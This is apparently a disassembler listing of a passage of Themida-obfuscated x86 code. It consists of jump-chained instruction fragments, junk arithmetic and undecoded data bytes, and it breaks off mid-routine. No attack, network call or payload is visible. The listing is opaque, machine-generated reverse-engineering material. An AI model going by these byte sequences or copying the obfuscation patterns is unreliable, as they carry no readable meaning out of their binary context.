		dd 5BDA31F3h, 386E9h, 24048B00h, 81E38953h, 4C3h, 4C38100h
		dd 0E9000000h, 5E64h, 31240433h, 4332404h, 24248B24h, 3FAC68h
		dd 240C8900h, 54ACE953h, 0C4810000h, 4,	4EC81h,	4890000h
		dd 369CB824h, 0C5294862h, 81D50158h, 62369CC5h,	2C875A48h
		dd 24248B24h, 0A9F8E9h,	0A8685100h, 0E924946Bh,	7F53h
		dd 5C24048Fh, 0BF8E9h, 1C77FF00h, 6658669Dh, 9C240419h
		dd 0FFE90FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_545015:				; CODE XREF: Themida_:0054F087j
		mov	cl, dh
		pop	dx
		add	cl, 6Ch
		sub	al, cl
		pop	ecx
		push	dword ptr [esp]
		jmp	loc_548D48
; ---------------------------------------------------------------------------
		db 89h
		dd 90E9242Ch, 5400000Fh, 0FFEBDDE9h, 0E95B5AFFh, 3514h
		dd 4247C01h, 0E09E95Fh,	0C8B0000h, 11D26824h, 2C890000h
		dd 83E58924h, 0DE904ECh
		db 67h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54505B:				; CODE XREF: Themida_:0054DF92j
		shr	esi, 6
		add	esi, 9D7F760h
		push	esi
		xor	dword ptr [esp], 62826838h
		jmp	loc_5491FF
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 55E08950h, 0FFFE11E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54507D:				; CODE XREF: Themida_:0054648Ej
		pop	ecx
		sub	ecx, 4D0A6A42h
		xor	ecx, 173A994Dh
		mov	ebp, ecx
		pop	ecx
		add	esi, ebp
		pop	ebp
		jmp	loc_548F41
; ---------------------------------------------------------------------------

loc_545095:				; CODE XREF: Themida_:0054D64Cj
		sub	[esp+4], edi
		pop	edi
		mov	eax, [esp]
		add	esp, 4
		push	esi
		push	ebp
		mov	ebp, 3CEE7D0Eh
		jmp	loc_5471BC
; ---------------------------------------------------------------------------
		dd 8158C328h, 4ECh, 242C8900h, 0E5F6850h, 0E95850D0h, 1EFDh
; ---------------------------------------------------------------------------

loc_5450C4:				; CODE XREF: Themida_:0054E874j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	edx
		jmp	loc_54447D
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 2Ah
		dd 81359E06h, 1262A9C5h, 0F8C5814Eh, 29A08A6Ah,	242C8BEFh
		dd 4C481h, 0BE560000h, 2DE20591h, 494FE9h, 4E7C100h, 0DAD5B951h
		dd 0C781334Ah, 77480D53h, 0EF81CF01h, 77480D53h, 3F15E9h
		dd 61016800h, 0E959209Eh, 46ABh
; ---------------------------------------------------------------------------

loc_545120:				; CODE XREF: Themida_:0054B012j
		mov	esp, [esp]
		push	ecx
		mov	ecx, 6A474E83h
		jmp	loc_54C583
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 4EC81h, 4890000h, 309B824h, 0FE91ADEh, 8900008Eh, 0BD552414h
		dd 4, 15DEA89h,	8B042454h, 0C4832414h, 0E7C6E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54515E:				; CODE XREF: Themida_:00547C60j
		add	esp, 4
		shr	ecx, 0Bh
		push	eax
		mov	eax, esp
		jmp	loc_547D73
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24048900h, 1019D6B8h, 3E8C152h, 69930540h, 0D0F77618h
		dd 2D02E0C1h, 0E82C26F3h, 4D99E981h, 0C1296CA4h, 0A9CCE9h
		dd 24048900h, 79620FB8h, 9E21056Ah, 0E6059586h,	0E90D6A4Dh
		dd 8FACh, 4C781h, 68550000h, 5390h, 0E9240C89h,	6853h
; ---------------------------------------------------------------------------

loc_5451C8:				; CODE XREF: Themida_:00544E51j
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_54F63A
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 6B27FE4h, 0C381F301h, 6B27FE4h, 933AE95Eh, 0C7810000h
		dd 3E716DB7h, 6F6EE9h
		db 0
; ---------------------------------------------------------------------------

loc_5451F5:				; CODE XREF: Themida_:00544B8Bj
		pop	esi
		xor	ecx, 62A6121h
		and	ecx, 0D101559h
		add	ecx, 0FAFFEAF8h
		mov	edx, ecx
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_54D39F
; ---------------------------------------------------------------------------

loc_545215:				; CODE XREF: Themida_:00547EF0j
		push	33AAh
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_54763E
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 4EB8300h, 5C241C87h, 0E9241C89h, 0AA63h, 83240C8Bh
		dd 3AE904C4h, 810000A5h, 0FC3851F3h, 0E9DE295Dh, 6047h
; ---------------------------------------------------------------------------

loc_545258:				; CODE XREF: Themida_:0054BEFAj
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		push	eax
		jmp	loc_54A77A
; ---------------------------------------------------------------------------
		dd 5C243487h, 148B5452h, 4C48124h, 83000000h, 5FE904ECh
		db 74h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_545283:				; CODE XREF: Themida_:00549089j
		mov	edi, 4
		add	eax, edi
		pop	edi
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		pop	esp
		and	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_54A009
; ---------------------------------------------------------------------------
		dd 0E981F901h, 64B97E9Dh, 2C1E981h, 0E7E95ED3h,	6800001Ch
		dd 4, 11F8E95Eh, 0E9520000h, 6E0h, 2474FF56h, 2434FF04h
		dd 5F54575Eh, 4C781h, 0C7810000h, 4, 5C243C87h,	8B24048Fh
		dd 8B662424h, 0ACE92414h
		db 0A2h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_545303:				; CODE XREF: Themida_:0054ACE2j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_54BE07
; ---------------------------------------------------------------------------

loc_545315:				; CODE XREF: Themida_:0054CAE5j
		pop	edi
		jmp	loc_547BE4
; ---------------------------------------------------------------------------
		db 29h
		dd 24148BD7h, 4C481h, 0FCE90000h, 8300004Bh, 0C8704C1h
		dd 3E85E924h, 66AC0000h, 3AB151h, 0C8B66C8h, 2C48124h
		dd 2C000000h, 4D800F4h,	0EA6851F4h
dword_545350	dd 8900005Fh, 0ADB42404h, 8004E4C0h, 0E4C01AECh, 0E9C4FE07h
					; DATA XREF: ___:off_43CCB4o
		dd 24D7h, 101EBA52h, 0D30155ACh, 354EE9h
		db 0
; ---------------------------------------------------------------------------

loc_545375:				; CODE XREF: Themida_:00544381j
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], bx
		mov	bh, 4Eh
		jmp	loc_54C000
; ---------------------------------------------------------------------------
		dw 0AF68h
		dd 89000006h, 8B54240Ch, 0C481240Ch, 4,	4C181h,	0E9830000h
		dd 240C8704h, 56E9545Ch, 8B000058h, 0C481240Ch,	4, 4C181h
		dd 97680000h, 8900006Dh, 2BE2434h, 1000000h, 24348BF1h
		dd 0E9E28952h, 0A108h
; ---------------------------------------------------------------------------

loc_5453D8:				; CODE XREF: Themida_:0054E1C8j
		mov	edi, 2A803954h
		and	eax, edi
		pop	edi
		xor	eax, 2003905h
		push	ebx
		mov	ebx, eax
		jmp	loc_54DD31
; ---------------------------------------------------------------------------

loc_5453ED:				; CODE XREF: Themida_:00547DB1j
		pop	ecx
		mov	eax, [esp]
		push	eax
		jmp	loc_54B8B9
; ---------------------------------------------------------------------------
		db 68h
		dd 16DB5FF2h, 18BF5759h, 814A1D56h, 46317AEFh, 5FF921FEh
		dd 305AE9h, 66AD6600h, 664FC52Dh, 6653C02Dh, 566D829h
		dd 0E95353C0h, 0FFFFFACAh, 4C0835Fh, 0E9240487h, 1ADCh
		dd 7136EF81h, 0EFC133AFh, 0EF814704h, 25329C6h,	565FFE01h
		dd 42474FFh, 24048F5Eh,	24048B5Ch, 41A68h, 241C8900h, 0C381E389h
		dd 4, 4EB81h, 76E90000h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------

loc_54546F:				; CODE XREF: Themida_:0054DD4Cj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		and	eax, ebp
		pop	ebp
		or	edx, eax
		shl	edx, 1
		push	eax
		mov	eax, 24h
		add	eax, edi
		xor	[eax], ecx
		pop	eax
		push	edx
		jmp	loc_5445E2
; ---------------------------------------------------------------------------
		dw 0F201h
		dd 0FFF854E9h, 3EDA68FFh, 0F0E93E19h, 89000057h, 5F54243Ch
		dd 57D8E9h
		db 0
; ---------------------------------------------------------------------------

loc_5454A9:				; CODE XREF: Themida_:0054C20Cj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_543FD3
; ---------------------------------------------------------------------------
		dd 240C8B66h, 815A5452h, 4C2h, 0A0E95300h, 25FFFFE6h, 2F5009BDh
		dd 0C225D8F7h, 2D75D70Ch, 0F6B3BDFBh, 0E958C789h, 68D1h
		dd 53E9E789h, 59FFFFF1h, 0FFE42BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5454F9:				; CODE XREF: Themida_:0054C451j
		pop	ecx
		or	edi, 77D17BFFh
		add	edi, 0C0401h
		mov	ecx, edi
		pop	edi
		add	ecx, edx
		add	eax, [ecx]
		pop	ecx
		pop	edx
		pop	ebx
		pop	ecx
		push	57CEh
		mov	[esp], eax
		jmp	loc_543924
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48324h, 4AB568h, 241C8900h, 0C381E389h, 4,	4EC81h
		dd 0C890000h, 3A826824h, 2C890000h, 4BD24h, 0E9890000h
		dd 0C1EB815Dh, 0E9364202h, 4F04h, 19BCEA81h, 0D1010601h
		dd 5E2CE9h, 1C5F2100h, 81241C8Bh, 4ECh,	24348900h, 2CB968h
		dd 5EA5E900h, 515E0000h, 4B9h, 59CE0100h, 4BB53h, 6AE90000h
		dd 81000073h, 4EFh, 243C8700h, 2424895Ch, 4240483h, 83243C8Bh
		dd 0C78104C4h, 4, 1275E953h, 5D590000h,	8103E1C1h, 9AE6A1C1h
		dd 64806878h, 0CEE90000h, 8B00009Dh, 8951240Ch,	4C181E1h
		dd 83000000h, 0C8704C1h, 41E95C24h, 57FFFFE3h, 83CEE9h
		dd 1C77FF00h, 0D259669Dh, 0E99C241Ch, 0FFFFE32Ch, 0C380C300h
		dd 7EEB804Fh, 0F7DEB80h, 8B66C0B6h, 0EC832414h,	4630E904h
		dd 51500000h, 0F580C5B5h, 59E888B3h, 0B058C688h, 5AF030B1h
		dd 53E9C328h
		db 59h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54562B:				; CODE XREF: Themida_:0054C990j
		mov	esi, [esp]
		add	esp, 4
		sub	edx, ebp
		pop	ebp
		neg	edx
		push	esi
		mov	esi, 32421651h
		add	edx, esi
		pop	esi
		jmp	loc_5479BA
; ---------------------------------------------------------------------------
		db 81h
		dd 4C5h, 4BA5200h, 1000000h, 2C875AD5h,	52575C24h, 0AB33BDBAh
		dd 33BFBF73h, 0D73173ABh, 5FFE015Ah, 4B13E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_545672:				; CODE XREF: Themida_:00548A91j
		sub	dword ptr [esp], 7510DAAh
		pop	eax
		add	eax, 7510DAAh
		mov	esi, [esp]
		push	4224h
		jmp	loc_548A3F
; ---------------------------------------------------------------------------

loc_54568C:				; CODE XREF: Themida_:0054F49Dj
		mov	esi, 574D596Eh
		sub	esi, 283A7EC2h
		xor	esi, 2777DE6Dh
		add	ebp, esi
		pop	esi
		sub	ebp, 79A1425Fh
		push	eax
		mov	eax, 76573C85h
		jmp	loc_54A0DF
; ---------------------------------------------------------------------------

loc_5456B1:				; CODE XREF: Themida_:00543B09j
		shr	esi, 4
		jmp	loc_54C62D
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 4
		dd 1000000h, 5B04245Ch,	0FFE289E9h, 0C4815CFFh,	4, 4EC81h
		dd 0C890000h, 1350E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5456DE:				; CODE XREF: Themida_:00543D32j
		push	edx
		mov	edx, 358167CDh
		or	ecx, edx
		mov	edx, [esp]
		jmp	loc_547AA6
; ---------------------------------------------------------------------------

loc_5456EE:				; CODE XREF: Themida_:00545C26j
		add	ebx, 183B36D3h
		xor	ebx, 455EC21Ch
		jmp	loc_5486DF
; ---------------------------------------------------------------------------
		db 40h
		dd 0D2255305h, 6E0C131h, 5708E8C1h, 956FE9h, 14D0BE00h
		dd 0F6817474h, 747414D4h, 348BF101h, 4C48324h, 4C181h
		dd 0C870000h, 24248B24h, 0FFE1EFE9h, 0E9CB81FFh, 814EE935h
		dd 4660B6F3h, 3E3C13Ch,	53C0E9h, 0E9504D00h, 7A24h, 28DF04ACh
		dd 4059E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54575A:				; CODE XREF: Themida_:0054D1A2j
		not	ebx
		sub	ebx, 16B53F02h
		push	87D0705h
		mov	ecx, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		push	edi
		jmp	loc_54BC38
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0FF241C89h, 1C8B2434h, 4C48324h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_543924
; ---------------------------------------------------------------------------
		db 1, 0FAh, 5Fh
aBDz3xBDz3xsX	db 'ê¤z3x)¤z3xé%x',0
		dw 5500h
aSS_4		db '^é{S',0
		align 2
		dw 0BD55h
		dd 4, 0E95DE801h, 14A4h, 749EB81h, 0C8B1CB5h, 4C48324h
		dd 113CEB81h, 26E93A6Eh
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5457DF:				; CODE XREF: Themida_:0054C366j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	69CEh
		mov	[esp], eax
		push	827h
		mov	[esp], esi
		push	7A546155h
		pop	esi
		xor	esi, 85AB9EAAh
		mov	eax, esi
		pop	esi
		sub	[edi+24h], eax
		jmp	loc_549F07
; ---------------------------------------------------------------------------

loc_545814:				; CODE XREF: Themida_:00549A79j
		push	ecx
		mov	ecx, 1D954CFh
		inc	ecx
		and	ecx, 71FD3198h
		xor	ecx, 1D91094h
		add	eax, ecx
		pop	ecx
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_54D550
; ---------------------------------------------------------------------------
		db 0F7h, 0DEh, 0E9h
		dd 71B7h
; ---------------------------------------------------------------------------

loc_545844:				; CODE XREF: Themida_:0054BABEj
		pop	ebx
		pop	ecx
		jmp	loc_544069
; ---------------------------------------------------------------------------
aIS		db '‰$$éÜ',0Bh,0
		db 0
; ---------------------------------------------------------------------------

loc_545853:				; CODE XREF: Themida_:0054ED0Ej
		mov	ch, 12h
		and	ch, 2Ch
		jmp	loc_5463DC
; ---------------------------------------------------------------------------
		db 68h,	66h, 33h
		dd 2C890000h, 0D913BD24h, 0B951ABEDh, 51010087h, 0D5E9C801h
		dd 81000015h, 115554F5h, 2E5C178h, 0BC89C581h, 0EA313C4Dh
		dd 83242C8Bh, 0D02904C4h, 8124148Bh, 4ECh, 5356E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54589E:				; CODE XREF: Themida_:0054A9D6j
		xchg	eax, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_54C9DA
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp]
		push	5787h
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_54E412
; ---------------------------------------------------------------------------
		dd offset dword_450050+3818h
		align 2
		dw 489h
		dd 5E08924h, 4,	4EC8353h, 0E9240C89h, 0FFFFF839h
; ---------------------------------------------------------------------------

loc_5458DC:				; CODE XREF: Themida_:00547548j
		sub	esp, 4
		mov	[esp], esi
		push	ebp
		jmp	loc_54CC91
; ---------------------------------------------------------------------------
		dd 9C241CF7h, 0FFE033E9h, 243C8BFFh, 4C481h, 0E8E90000h
		dd 66FFFFEAh, 6824048Bh, 7AABh,	3937E9h, 14895C00h, 0E513E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_545916:				; CODE XREF: Themida_:0054A07Cj
		and	edi, 3CD2640Ah
		jmp	loc_54FB02
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
a3So		db '3<$éŽ',9,0
		align 4
		dd 81D830ACh, 2ECh, 5704E900h, 7F830000h, 840F0020h, 8762h
		dd 6F2B850h, 0C6816D57h, 273E7946h, 45D8BA52h, 0EA817980h
		dd 3C5EDFA3h, 34D0E9h, 8BE82800h, 0CBE9240Ch
		db 84h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54596B:				; CODE XREF: Themida_:00544C89j
		pop	esp
		shr	ecx, 6
		push	ebp
		push	357Ah
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_547EED
; ---------------------------------------------------------------------------
		dd 19F2E950h, 4890000h,	88D48824h, 2434FFE3h, 4C48358h
		dd 88D88850h, 33C4E9C1h, 0F1010000h, 74FF515Eh,	8F590424h
		dd 665C2404h, 0E99CC885h, 4620h, 170110BAh, 8D81E973h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5459C2:				; CODE XREF: Themida_:0054EB61j
		mov	edi, 75B47445h
		jmp	loc_543B2A
; ---------------------------------------------------------------------------

loc_5459CC:				; CODE XREF: Themida_:00544417j
		add	ebp, 4
		push	ebx
		jmp	loc_5439F2
; ---------------------------------------------------------------------------
		dd 0C581E589h, 4, 0FFF4C3E9h, 241C33FFh, 3DBBE9h, 48B6600h
		dd 0E1895124h, 4C181h, 0E9810000h, 4, 5C240C87h, 0E9243C89h
		dd 7649h, 81D6015Ah, 6B3C44C6h,	7AE95A65h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_545A1B:				; CODE XREF: Themida_:005484B5j
		push	dx
		mov	dl, 87h
		sub	cl, dl
		pop	dx
		push	small 42C1h
		mov	[esp], dx
		mov	dh, cl
		jmp	loc_548143
; ---------------------------------------------------------------------------
aIrrsxs		db '‰àRé•‘',0
		align 2
		dw 0C781h
		dd 519CC92Dh, 4F01EF83h, 0FFEC68E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_545A49:				; CODE XREF: Themida_:0054B4FAj
		pop	edx
		add	edx, 4
		push	ebp
		mov	ebp, 4
		sub	edx, ebp
		pop	ebp
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_5461AE
; ---------------------------------------------------------------------------
		db 89h
		dd 0F868242Ch, 6800002Ah, 1A48h, 56242489h, 4BEh, 24740100h
		dd 8DAFE904h, 348B0000h, 0A190E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_545A8E:				; CODE XREF: Themida_:005494D5j
		mov	[esp], eax
		mov	eax, 3010E17Ch
		xor	esi, eax
		pop	eax
		mov	ebp, esi
		pop	esi
		and	ecx, ebp
		pop	ebp
		jmp	loc_54FA35
; ---------------------------------------------------------------------------
		dd 122CAC04h, 81240C8Bh, 4C4h, 5D686600h, 1C896674h, 2C5DB724h
		dd 81F82898h, 4ECh, 240C8900h, 0DDF61CB5h, 3EE9CDFEh, 8900007Dh
		dd 4BF243Ch, 1000000h, 0D7E95FF8h, 80FFFFFCh, 0D6F601EEh
		dd 43E9E9h, 0CB015F00h,	0EC835759h, 24048904h, 0C46132B8h
		dd 5BBB5375h, 3141712Eh, 241C8BD8h, 4C481h, 0B250000h
		dd 0F74C6125h, 730BE9D0h, 8B660000h, 3F682404h,	8900002Eh
		dd 0E589242Ch, 22A0BB53h, 0E3D17E29h, 453CEB81h, 0DD01FC52h
		dd 6AC8685Bh, 2CE90000h, 31000080h, 0DDDAE9C2h,	3489FFFFh
		dd 0BEE95424h, 8100008Ch, 180BA7F2h, 0E2815950h, 0F351DF4h
		dd 0FFF9F3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_545B65:				; CODE XREF: Themida_:0054C628j
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 5E825ACEh
		push	eax
		sub	esp, 4
		jmp	loc_549FDD
; ---------------------------------------------------------------------------
		db 64h
		dd 2B60F66h, 0F2BE9h
		db 0
; ---------------------------------------------------------------------------

loc_545B8D:				; CODE XREF: Themida_:00546669j
		shr	ebp, 2
		and	ebp, 29692819h
		shr	ebp, 5
		jmp	loc_545DD3
; ---------------------------------------------------------------------------
		dw 0EB83h
		dd 241C8704h, 857CE9h, 24043300h, 33240431h, 895C2404h
		dd 27BA2414h, 12A3D09h,	210EE9D0h, 0E5890000h, 4C581h
		dd 0C5810000h, 4, 5C242C87h, 5C240C87h,	0E99CC138h, 0FFFFDD44h
; ---------------------------------------------------------------------------

loc_545BE0:				; CODE XREF: Themida_:005485B9j
		mov	edi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 18C93A34h
		xor	edx, 20EA176Ch
		add	edi, edx
		pop	edx
		jmp	loc_54D75E
; ---------------------------------------------------------------------------
		db 0F7h, 0F1h, 68h
		dd 60D4h, 272AE9h, 22136800h, 815B45D6h, 0AD5396C3h, 8471E949h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_545C1A:				; CODE XREF: Themida_:00548D02j
		push	19E426AEh
		pop	ebx
		add	ebx, 1B5F291Bh
		jmp	loc_5456EE
; ---------------------------------------------------------------------------

loc_545C2B:				; CODE XREF: Themida_:0054A4D3j
		mov	ebp, 4
		sub	ebx, ebp
		pop	ebp
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_54F098
; ---------------------------------------------------------------------------

loc_545C41:				; CODE XREF: Themida_:0054CF07j
		dec	ebx
		shl	ebx, 3
		xor	ebx, 7D901A94h
		mov	edi, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 307A60C6h
		mov	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		xor	ebp, edi
		pop	edi
		mov	edx, 0B8A6EB2Fh
		sub	edx, 0CDC5CD6h
		push	edi
		jmp	loc_54E7FE
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 1379E958h, 14890000h, 10106824h, 4890000h, 32B55124h
		dd 0E830BAB0h, 0E9C68859h, 0FFFFEFE2h, 6F82EA81h, 815B6CA7h
		dd 0CD0D8EEAh, 81C22959h, 0CD0D8EC2h, 7784E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_545CB2:				; CODE XREF: Themida_:00544351j
		mov	esi, [esp]
		jmp	loc_549A72
; ---------------------------------------------------------------------------

loc_545CBA:				; CODE XREF: Themida_:005444CEj
		mov	edi, esp
		add	edi, 4
		jmp	loc_54C651
; ---------------------------------------------------------------------------
		db 5Ah
		dd 8C240481h, 0E9649F5Ch, 0D78h, 8904C483h, 24048BC7h
		dd 8901E9h
		db 0
; ---------------------------------------------------------------------------

loc_545CE1:				; CODE XREF: Themida_:00546063j
		mov	eax, 0FA76D90Bh
		jmp	loc_54E1DD
; ---------------------------------------------------------------------------
		align 4
aAAiFr		db 'ÀÃ+€ëÚfR¶Î',0
		dd 505A66F3h, 80CAB551h, 0EC88B8C5h, 5CECE959h,	0EB800000h
		dd 0FFD9E92Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_545D12:				; CODE XREF: Themida_:00546495j
		not	esi
		add	esi, 5621DA0Ch
		add	edx, esi
		pop	esi
		sub	edx, 225125B2h
		add	edx, edi
		jmp	loc_54A35A
; ---------------------------------------------------------------------------

loc_545D2A:				; CODE XREF: Themida_:0054728Aj
		mov	edx, 25667010h
		or	edx, 7B8706F1h
		not	edx
		push	edx
		jmp	loc_54427B
; ---------------------------------------------------------------------------

loc_545D3D:				; CODE XREF: Themida_:0054A3CDj
		and	ebx, 39992512h
		jmp	loc_543A6C
; ---------------------------------------------------------------------------

loc_545D48:				; CODE XREF: Themida_:0054C3A0j
		add	eax, 5B288726h
		shl	eax, cl
		jmp	loc_54D7F4
; ---------------------------------------------------------------------------
		dd 0D7E9415Ah, 81FFFFEBh, 4C2h,	4C28100h, 87000000h, 525C2414h
		dd 382EE9h, 3A880D00h, 0E948500Ah, 4A3Dh, 33242C31h, 248B242Ch
		dd 7C24E924h, 0E9810000h, 4F1B4704h, 4790E9h, 0C8015D00h
		dd 59FBE9h, 4C48100h, 0E9000000h, 2506h, 3C8B5B57h, 4C48124h
		dd 81000000h, 0A5042444h, 126043Ah, 5604245Ch, 43AA5BEh
		dd 24742926h, 1C8B5E08h, 0CDE95624h
		db 67h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_545DD3:				; CODE XREF: Themida_:00545B99j
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		jmp	loc_54795F
; ---------------------------------------------------------------------------

loc_545DDD:				; CODE XREF: Themida_:00548E8Bj
					; Themida_:0054F683j
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_549994
; ---------------------------------------------------------------------------

loc_545DFC:				; CODE XREF: Themida_:0054DD26j
		sub	eax, 5CC1176h
		jmp	loc_54A679
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 4C181h, 0C870000h, 0D4305C24h, 8124148Bh,	4C4h, 66E30000h
		dd 0E924048Bh, 8FACh, 0DD00F3B3h, 0C48E9h, 4B85000h, 0E9000000h
		dd 69B3h
; ---------------------------------------------------------------------------

loc_545E40:				; CODE XREF: Themida_:005497F1j
		add	edx, esi
		jmp	loc_54B78C
; ---------------------------------------------------------------------------
		db 31h
		dd 0E8E9243Ch, 5A00001Dh, 4EC81h, 1C890000h, 498DE924h
		dd 0B8500000h, 45CB7B38h, 659C381h, 0C3017046h,	659EB81h
		dd 81587046h, 4A76CFC3h, 13C3810Dh, 29117872h, 13EB81C3h
		dd 0E9117872h, 77Eh, 240C8B66h,	4EC81h,	2C890000h, 0EF24E924h
		dd 4B66FFFFh, 7BAAE951h, 81660000h, 593BE0EDh, 66EB2166h
		dd 81242C8Bh, 2C4h, 0F3816600h,	1665FE4h, 0EC815BD8h, 2
		dd 73B2E9h
		db 0
; ---------------------------------------------------------------------------

loc_545ECD:				; CODE XREF: Themida_:0054D774j
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_54EB22
; ---------------------------------------------------------------------------
		db 81h
		dd 42404h, 34FF0000h, 89575A24h, 4BB53E7h, 1000000h, 68E95BDFh
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_545EF7:				; CODE XREF: Themida_:00549A29j
		push	5B62h
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		push	ebx
		mov	ebx, 77C40195h
		sub	[esp+4], ebx
		pop	ebx
		mov	eax, [esp]
		jmp	loc_5492B6
; ---------------------------------------------------------------------------
		dw 0E0BDh
		dd 0C1264E7Fh, 0DDF703EDh, 7930E9h
		db 0
; ---------------------------------------------------------------------------

loc_545F2D:				; CODE XREF: Themida_:0054C481j
		pop	edx
		mov	ebp, esi
		pop	esi
		add	ecx, ebp
		pop	ebp
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_54C6D6
; ---------------------------------------------------------------------------
		dw 0E956h
		dd 815h, 5358C301h, 42474FFh, 24048F5Bh, 6624248Bh, 6866E9F7h
		dd 89660E68h, 50662414h, 0D9BAE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_545F6A:				; CODE XREF: Themida_:0054B1ABj
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		and	ecx, edx
		pop	edx
		shr	ecx, 2
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_54C456
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 38h
		dd 812B3A35h, 0CE4C49EBh, 0BF575F0Bh, 0A9F5FBAh, 4BA8EB81h
		dd 0FB295D9Ch, 4BA8C381h, 0E95F5D9Ch, 0FFFFFB8Bh
; ---------------------------------------------------------------------------

loc_545FB8:				; CODE XREF: Themida_:0054ED8Bj
		pop	ecx
		push	edi
		jmp	loc_54CADE
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 240C8900h, 3A1BA7B9h, 6597E926h, 814A0000h, 0B7CFFAF2h
		dd 5AD73123h, 22FCF781h, 0FA315F2Fh, 5AD1895Fh,	710BE9h
		dd 0FC686600h, 0C896674h, 0B60F6624h, 9C5166C8h, 0FFD923E9h
		dd 4C681FFh, 81000000h,	4C6h, 24343300h, 9409E9h, 0BCE98000h
		dd 0DBC18058h, 0FFDD65E9h, 2434FFFFh, 1FE5E9h
		db 0
; ---------------------------------------------------------------------------

loc_546029:				; CODE XREF: Themida_:0054C9A2j
		add	edx, 45AF13BFh
		add	edx, 0BA50EBC4h
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		xor	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_547C9C
; ---------------------------------------------------------------------------

loc_546046:				; CODE XREF: Themida_:00546B8Dj
					; Themida_:0054CEF8j ...
		push	edx
		push	edi
